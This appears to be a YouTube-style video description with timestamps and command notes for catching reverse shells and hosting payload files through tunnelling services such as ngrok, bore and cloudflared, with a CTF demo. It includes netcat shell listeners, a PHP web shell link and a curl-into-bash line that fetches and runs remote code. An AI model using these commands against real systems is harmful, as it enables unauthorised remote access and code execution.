How To Catch Shells and Host Files On The Public Internet Without a VPS or Router Port Forwarding.

Video Description

0:00 Pre Intro 0:07 Intro 1:39 Host file demo 1 - SSH Local host run 3:20 Host file demo 1 - Zrok 4:06 Host file demo 1 - Cloudflared 5:31 Host file demo - Ngrok 6:44 Catching hell demo 2 - Ngrok 7:59 Catching shell demo 2 - Bore 9:33 CTF Demo Example demo 3 - CURL into Bash 12:03 Closing Thoughts and The End # SSH Local Host Run Notes https://localhost.run/ python -m http.server ssh -R 80:localhost:8000 [email protected] # Zrok Notes https://docs.zrok.io/docs/getting-started/ zrok enable "your_account_token" python -m http.server zrok share public 8000 # Cloudflared Notes https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/ apt search cloudflared sudo apt install cloudflared python -m http.server cloudflared tunnel --url http://localhost:8000 # Ngrok Notes https://ngrok.com/ https://ngrok.com/docs https://ngrok.com/downloads/linux ngrok "service" "port" python -m http.server ngrok http 8000 nc -lvnp 8443 ngrok tcp 8443 # Bore Notes https://github.com/ekzhang/bore cargo install bore-cli nc -lvnp 8443 bore local 8443 --to bore.pub 0r python -m http.server bore local 8000 --to bore.pub # Demo 3 Commands and Other Tools Used https://github.com/hddananjaya/PHP_Secure_WebShell php -S 0.0.0.0:9001 http://rhost:9001/webshell.php * put in password for password protected PHP webshell * curl into bash command. curl http://"LHOST":"LPORT"/file.sh | bash # Extra Github resource https://github.com/anderspitman/awesome-tunneling